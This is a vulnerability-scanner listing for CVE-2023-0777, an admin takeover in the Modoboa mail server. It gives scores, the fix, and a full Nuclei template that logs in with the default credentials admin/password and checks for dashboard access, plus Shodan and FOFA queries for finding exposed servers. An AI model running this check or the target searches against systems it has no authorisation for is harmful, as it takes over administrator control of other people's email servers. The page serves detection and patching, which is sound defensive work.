modoboa 2.0.4 - Admin TakeOver

criticalseverity

9.8CVSS score

15.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.

Impact

Unauthenticated attackers can exploit authentication bypass using default credentials to gain administrator access and completely compromise Modoboa email server installations.

Fix

update to version 2.0.4

How to confirm it

Send: GET /accounts/login/ ; POST /accounts/login/ ; GET /dashboard/
Positive when: status_code_3 == 200 and contains(content_type_3, "text/html") and contains(body_3, "Dashboard") && contains(body_3, "Hello admin")

Run it with nuclei: nuclei -id CVE-2023-0777 -u <target>

The full check

id: CVE-2023-0777

info:
  name: modoboa  2.0.4 - Admin TakeOver
  author: r3Y3r53
  severity: critical
  description: |
    Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
  impact: |
    Unauthenticated attackers can exploit authentication bypass using default credentials to gain administrator access and completely compromise Modoboa email server installations.
  remediation: update to version 2.0.4
  reference:
    - https://huntr.dev/bounties/a17e7a9f-0fee-4130-a522-5a0466fc17c7/
    - http://packetstormsecurity.com/files/171744/modoboa-2.0.4-Admin-Takeover.html
    - https://github.com/modoboa/modoboa/commit/47d17ac6643f870719691073956a26e4be0a4806
    - https://github.com/7h3h4ckv157/7h3h4ckv157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-0777
    cwe-id: CWE-305,NVD-CWE-Other
    epss-score: 0.15088
    epss-percentile: 0.96759
    cpe: cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: modoboa
    product: modoboa
    shodan-query:
      - html:"Modoboa"
      - http.favicon.hash:1949005079
      - http.html:"modoboa"
    fofa-query:
      - body="Modoboa"
      - body="modoboa"
      - icon_hash=1949005079
  tags: cve2023,cve,huntr,packetstorm,modoboa,default-login,vuln

http:
  - raw:
      - |
        GET /accounts/login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /accounts/login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrfmiddlewaretoken={{csrftoken}}&username={{username}}&password={{password}}&next=%2F
      - |
        GET /dashboard/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      username:
        - admin
      password:
        - password
    attack: pitchfork
    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "Dashboard") && contains(body_3, "Hello admin")'
        condition: and

    extractors:
      - type: regex
        part: header
        name: csrftoken
        internal: true
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)

References

Use this check only on systems you are authorised to test. Where the data comes from